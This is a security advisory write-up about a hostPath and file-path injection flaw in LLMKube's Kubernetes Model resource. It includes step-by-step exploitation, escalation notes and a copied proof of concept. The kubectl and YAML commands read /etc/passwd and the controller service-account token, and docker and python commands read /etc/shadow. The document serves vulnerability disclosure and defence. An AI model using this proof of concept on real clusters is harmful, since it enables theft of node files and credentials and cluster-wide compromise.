# LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection

LLMKube's Model.spec.source accepts arbitrary absolute paths, letting any namespace user read controller SA tokens or node files via os.Open and hostPath mounts.

- Payout: Research
- Severity: high
- Program: LLMKube
- Found by: EQSTLab, knm6777
- Disclosed: 2026-11-18
- CVE: CVE-2026-68903
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jw3m-8q7m-f35r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jw3m-8q7m-f35r
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** Kubernetes controller (ModelReconciler) and inference pod hostPath volume
**Root cause:** The kubebuilder validation pattern on Model.spec.source explicitly allows absolute paths (`^/[^\s]+$`), and isLocalSource/getLocalPath pass them unsanitized to os.Open and to a HostPathVolumeSource with no canonical-root allowlist.
**Steps:**
1. Create a Model CR with `spec.source: /etc/passwd` in a namespace where the attacker can write Model/InferenceService CRDs.
2. Wait for the Model to reach Ready; the controller's copyLocalModel opens the path and caches it, and the hostPath volume mounts the node file into the init container.
3. Read `.status.cacheKey` and `.status.path` basename from the Model.
4. Create an InferenceService referencing the model with `image: busybox:1.36` and `command: ["sh","-c","cat /models/${CACHEKEY}/${BASENAME}; sleep 3600"]`.
5. Retrieve the file contents via `kubectl logs -n $NS deploy/hostread -c llama-server`.
6. Variant: set `spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token` to exfiltrate the controller's SA token JWT from the cache.
**How found:** Code review of the CRD validation pattern and the source-classification helpers, noticing the absolute-path branch and the absence of canonicalization before os.Open and HostPath construction; model caching enabled by default made the hostPath sink reachable.
**Exploitation:** A low-privileged namespace user with CRD write creates a Model pointing at a sensitive absolute path; the controller reads it into the model-cache PVC (SA token) and/or the hostPath volume exposes node files to the init container, which copies them to the cache. The attacker then deploys an InferenceService with a custom image/command that cats the cached file and reads it from pod logs.
**Escalation:** Controller SA token enables listing/getting Secrets cluster-wide, cross-namespace pivot, or SA impersonation; hostPath sink exposes node kubeadm certs, kubelet.conf and runtime sockets, breaking the node security boundary.
**Insight:** When a CRD field feeds both an in-process file open and a Kubernetes HostPath volume, check the kubebuilder validation regex for an absolute-path branch and trace whether any canonical-root or allowlist check exists before the sink; default-on caching features often activate dormant hostPath sinks.

## Proof of concept (copied exactly from the original report)

**kubectl Model with /etc/passwd source and InferenceService cat**

```
NS=llmkube-poc
kubectl create ns "$NS"

# Step 1: Create a Model whose source points to a sensitive node file
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
  name: hostread
spec:
  source: /etc/passwd
YAML

kubectl wait -n "$NS" --for=jsonpath='{.status.phase}'=Ready \
    model/hostread --timeout=180s

CACHEKEY="$(kubectl get model hostread -n "$NS" \
    -o jsonpath='{.status.cacheKey}')"
BASENAME="$(basename \
    "$(kubectl get model hostread -n "$NS" -o jsonpath='{.status.path}')")"

# Step 2: Create an InferenceService that prints the copied file
cat <<YAML | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: InferenceService
metadata:
  name: hostread
spec:
  modelRef: hostread
  runtime: llamacpp
  image: busybox:1.36
  command: ["sh","-c","cat /models/${CACHEKEY}/${BASENAME}; sleep 3600"]
YAML

# Step 3: Retrieve the exfiltrated file
kubectl logs -n "$NS" deploy/hostread -c llama-server
```

**Model CR pointing at controller SA token**

```
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
  name: satoken
spec:
  source: /var/run/secrets/kubernetes.io/serviceaccount/token
YAML
# After the model becomes Ready, its cache entry contains the raw JWT.
```

**Docker build and run of copyLocalModel PoC**

```
docker build --no-cache -f vuln-001/Dockerfile -t llmkube-vuln001-poc .

# Read /etc/shadow from inside the container (simulates controller pod filesystem)
docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001-poc

# Or use the Python driver
python3 vuln-001/poc.py --target /etc/shadow
```

